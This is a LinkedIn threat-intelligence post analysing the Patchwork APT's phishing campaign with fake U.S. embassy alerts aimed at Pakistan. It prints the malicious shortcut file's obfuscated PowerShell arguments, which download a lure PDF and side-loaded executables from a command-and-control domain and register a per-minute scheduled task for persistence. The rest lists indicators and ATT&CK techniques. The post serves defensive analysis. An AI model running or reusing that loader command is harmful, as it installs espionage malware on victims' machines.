

#patchwork #india #pakistan #us #apt #ttps #droppingelephant #chinastrats...

[in linkedin.com/posts/idan-tarab-7a9057200_pathchowrk-india-pakistan-activity-7270396733644288002-LpR7/](https://www.linkedin.com/posts/idan-tarab-7a9057200_pathchowrk-india-pakistan-activity-7270396733644288002-LpR7/)

```
C:\Windows\System32\cmd.exe
Source modified: 2024-12-04 08:28:25
Source accessed: 2024-12-04 18:40:58
Step1 -> .lnk

--- Header ---
Target created: 2022-05-11 09:09:09
Target modified: 2022-05-11 09:09:09
Target accessed: 2023-02-01 05:11:32

File size (bytes): 452,608
Flags: HasTargetIdList, HasLinkInfo, HasRelativePath, HasArguments, HasIconLocation, IsUnicode, EnableTargetMetadata
File attributes: FileAttributeArchive
Icon index: 11
Show window: SwShowminnoactive (Display the window as minimized without activating it.)

Relative Path: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Arguments: $ProgressPreference = 'SilentlyContinue';$a='https:';$b='C:\Users\';$c='C:\Windows\';iw'r $a//vorm.vormliebe.club/SeEcdjJsdkKGFH_djm9_jfk_81_jkKsfj/JshJS_9jsGR_81FKSiaISH_jfhJS999hfISK -OutFile $b\Public\Security_Alert-US_MISSION_TO_PAKISTAN.pdf;s'ap'ss "$b\Public\Security_Alert-US_MISSION_TO_PAKISTAN.pdf";iw'r $a//vorm.vormliebe.club/djk_mdF81JH_jdJK_j999hf_kf/fdjhfd_dj81_kmdjk99999jfJHG_skl -Outfile $c\Tasks\lama;r'e'n -Path "$c\Tasks\lama" -NewName "$c\Tasks\vlc.exe";iw'r $a//vorm.vormliebe.club/jkdKJKH_jhdH91_djkd81JHdjJ/fdjkkjdJKH_dhJHJH81_jjd_999JH_kd -Outfile $c\Tasks\lake;r'e'n -Path "$c\Tasks\lake" -NewName "$c\Tasks\libvlc.dll";c'p'i "$b\Public\Security_Alert-US_MISSION_TO_PAKISTAN.pdf" -destination .;sch'ta's's'ks /c'r'r'e'a'te /S'c minute /T'n EdgeUpdate /t'r "$c\Tasks\vlc" /f;e'r'a's's'e *d?.n?
Icon Location: %ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe

--- Link information ---
Flags: VolumeIdAndLocalBasePath

>> Volume information
```

 [View profile for Idan Tarab, graphic](#)

[Idan Tarab](#)

Security analyst, MDR @ At-Bay

1mo Edited

!!- - - Attention - - -!! __ Cyber Threat Alert __ 🇮🇳 "The Diplomatic Deception: Patchwork's Use of Fake U.S. Embassy Alerts in Cyber Espionage" 🇵🇰 --- #Patchwork #India #Pakistan #US #APT #TTPS #DroppingElephant #Chinastrats #Threat #Malware #Cybersecurity --- ► Flow: #Phishing > #Ink(lure PDF) > #PS1 > launch&Download .exe&.dll > #Persistence(SchTask) > #DLLSIDELOADING > #ProcInjection [ShellCode] > #Collection > #Exfiltration / #C2 💡 - - - Overview- - - 💡 Patchwork, also known as Dropping Elephant, is a South Asian Advanced Persistent Threat (APT) group believed to be active since 2015. It is suspected to align with Indian strategic interests, targeting geopolitical rivals like Pakistan, China, and regional organizations. 🎯---Key Characteristics---🎯 1. Target Regions: - South Asia: Primarily focuses on Pakistan, China, Nepal, and Bangladesh. - Global Reach: Occasionally targets U.S. and European entities linked to South Asia. 2. Typical Targets: - Government, military, and diplomatic organizations. - NGOs, research groups, journalists, and regional activists. 3. Preferred Tactics: - Social Engineering: Exploiting geopolitical themes. - Phishing: Delivering malware through malicious links or files. - Malware: Using modified versions of publicly

available tools. 🔑 - - #Motivation - - 🔑 - Regional Rivalries: Spying on Pakistan and China for military and diplomatic intelligence. - Strategic Intelligence: Collecting data to shape foreign policy and monitor global interactions. - National Security: Stealing data to aid defense and technological advancements. - Diplomatic Disruption: Undermining alliances and influencing regional narratives. --- ⚡ #c2: vorm[.]vormliebe[.]club vormliebe[.]club api[.]iplocation[.]net iplocation[.]net myexternalip[.]com avangrid[.]info 🔑 #lp: 50[.]63[.]202[.]25 5[.]252[.]177[.]242 34[.]117[.]118[.]44 172[.]67[.]147[.]165 104[.]21[.]47[.]125 185[.]74[.]222[.]242 💧 SchTask: EdgeUpdate ♦-TTP's & More info via comments-♦ - - - #IOC #TA #RE #Cyberthreat - - - #phishingattack #hacking #threat hunting #threatdetection #threatintel #cyberwarfare #threatintelligence #idapro #detection #infosec #NetworkSecurity #aes256 #encryption #espionage #threats #virustotal #network #emailsecurity #dfir #APTs #research #cert #ethicalhacking #csirt #intelligence #redteam #threatprevention #ir #x32dbg #hunting #security #ttp #cti #threatanalysis #reverseengineering #cyber #osint #informationsecurity #threatactors #soc #edr #cybersecuritynews #geopolitics #cyberintelligence #CloudSecurity #cybercriminals #security #securityresearch #CyberDefense #cth #secops #cybernews #incidentresponse #thehackernews #malwareanalysis #cyberchef #obfuscation #powershell #infostealer #threatactor BleepingComputer The Hacker News Cyber Security News® Dark Reading The Record from Recorded Future News HackRead Media Threat Intelligence Lab Cyber Threat Intelligence® SC Media SecurityWeek The Cyber Security Hub™ Intel 471

- No alternative text description for this image
- No alternative text description for this image
- No alternative text description for this image
- No alternative text description for this image
- No alternative text description for this image

67 4 Comments

Idan Tarab

Idan Tarab

Idan Tarab

Security analyst, MDR @ At-Bay

1mo

💎 - Potential Ties to India - 💎 - While direct attribution is difficult, researchers have speculated that Patchwork may operate in alignment with Indian strategic interests. This is based on: 1. The group's consistent targeting of Pakistan and China, both key geopolitical rivals of India. 2. Evidence of Hindi-language code in some malware attributed to the group. 3. The alignment of attack themes with India's regional security objectives.

Like

[Reply](#)

[1 Reaction](#) 2 Reactions

 [Idan Tarab](#)

[Idan Tarab](#)

Security analyst, MDR @ At-Bay

1mo

- -TTP'S:- - Process Injection (T1055.001): DLL Side-Loading (T1574.002) Spearphishing Link -> (T1566.002) Execution (T1204.002) Exfiltration Over C2 Channel (T1041) Application Layer Protocol: Web Protocol (T1071.001) Encrypted Channel (T1573.001) System Information Discovery (T1082) Obfuscated Files or Information: Encrypted/Encoded File (T1027.013) Scheduled Task (T1053.005)

[Like](#)

[Reply](#)

[1 Reaction](#) 2 Reactions

[See more comments](#)

To view or add a comment, [sign in](#)